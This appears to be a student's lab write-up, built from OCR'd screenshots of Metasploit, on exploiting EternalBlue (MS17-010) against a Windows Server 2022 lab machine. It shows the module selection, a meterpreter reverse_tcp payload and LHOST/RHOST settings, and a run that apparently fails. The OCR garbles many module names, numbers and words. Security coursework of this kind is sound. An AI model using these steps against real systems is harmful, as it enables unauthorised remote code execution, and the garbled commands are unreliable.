Task B: Exploit EternalBlue on Windows 2022 with Metasploit

In this task, try to use the same steps as shown in the video lecture to exploit the
EternalBlue vulnerability on Windows 2022. You may or may not establish a reverse shell
connection to the Windows 2022 using the same method as hacking Windows 2008.
Document your steps and show your results.

You won’t lose points for a failed reverse shell connection. But you will lose
points for incorrect configurations, such as putting the wrong IP in LHOST/RHOST, etc.

root@kali: ~

Actions Edit View Help
ch ms17-810

Matching Modules

# MName Disclosure
ck Description

exploit/windows/smb/ms17_010_eternalblue 2017-03
MS17-818 EternalBlue SME Remote windawa Kernel Pool rruption
1 exploit/windows/smb/ms17_¢ normal Yes
MS17-818 EternalRomance *Et=1n41Jhnﬂ:EyEEterna_T ampi SME Remote Windows
Code Execution
2 auxiliary/admin/smb/ms17_810_command p 7-B3-1¢ normal Mo
MS517-018 Ete: 41PUNJHEEEEtﬂIﬂ41JhnﬂignyTﬂIﬂ41Lh4mplﬂﬂ SME Remote Windows
Command cution
3 auxiliary/scanner/smb/smb_ms17_018 normal Mo
MS17-018 SME RCE Detection
4 exploit/windows/smb/smb_doublepulsar_rce 2817-04-14
SME DOUBLEPULSAR Remote Code Execution

with a module by name or index. For example
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Open new terminal; Launch metasploit; search for external blue exploit
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root@kali: ~

File Actions Edit View Help

Matching Modules

# MName Disclosure Date Rank
ck Description

MS17-018 EternalBlue SME Remote Windows Kernel Pool Corruption
exploit/windows/smb/ms17_@10_psexec 2017-83-14 normal Yes
SME Remote Windows

exploit/windows/smb/ms17_@10_eternalblue 2817-83-14 average Yes

normal Mo
SME Remote Windows
Command Execution
3 auxiliary/scanner/smb/smb_ms17_@1@ normal No
MS17-018 SME RCE Detection
4  exploit/windows/smb/smb_doublepulsar rce 2017-84-14
SME DOUBLEPULSAR Remote Code Execution

Interact with a module by

name or index. For example

msf6 > use exploit/windows/smb/msl7_@18_eternalblue
load configured, defaulting to windows
msf6 exploit( )

47272025

Using the eternalblue exploit
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root @ kali: ~
File Actions Edit View Help
EXITFUNC thread

LHOST 192.168.10.13

O (genmon)XXX

y be specified)
LPORT G444 e The listen port

Exploit target:
Id Name
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ull module info with the infc r info -d c
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First | set the payload using a reverse shell, then | set the lhost
Iport to 4428, lastly | set the rhost to windows 2022.

ommand .

payload windows/meterpre

192168 .1 13
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for internal kali, then | set the
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root@kali: ~
File Actions Edit View Help

msf6 exploit( ) > show options
Module options (exploit/windows/smb/ms17_@1@_eternalblue):
Name Current Setting Reguired Description

RHOSTS 192.168.168.19 yes

RPORT L4i5 ye e targe rt (TCP)
SMEDomain [ 1 The Wlndow: domain to

: LGUn R2, Windo
Windows Embedded Standard 7

SMBPass ( i nl o .55word for the s
ifi username
SMEUser [ 1 )} The username to authen

VERIFY_ARCH true T: Check if remote-architegturel mate
exploi Only affects
w ndows Server'28@8R2,\“Windows' 7
, Windows Embé&ddedoS&tandard 7 tar
get machines.
VERIFY_TARGET true WE ( 1if re e 05 ma er exploi
[indows Se
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root@kali: ~

File Actions Edit View Help

rver 2008 R2, Windows 7, Windows
Embedded Standard 7 target machin
es.

Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Reguired Description
EXITFUNC thread yes Exit technigue (Accepted:
ead, process, none)
LHOST 192.168.10.13 yes The listen address (an interface may
e specified)
LPORT L4285 yes The listen port
Exploit target:

Id Name

Automatic Target

View the full module info with the info r info command.

msf6 exploit(

12:18 PM
4/2/2025

Using show options to double check the configurations before exploiting.
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-] root@kali: ~

File Actions Edit View Help
EXITFUNC thread T: Exit technigue (Accepted:
ead, process, none)
LHOST 192.168.10.13 VE The listen address (an inter
e specified)
LPORT . =13 The listen port

Automatic Target

View the full module info with the info r info -d command.

msf6 exploit( > explolt

P handler on 192
) - Using auxiliary/scanner/smb/smb_msl7-010-as wheck
- An SMB Login Error occurred while connecting to the

hosts (10 ompleie)

Running exploit.



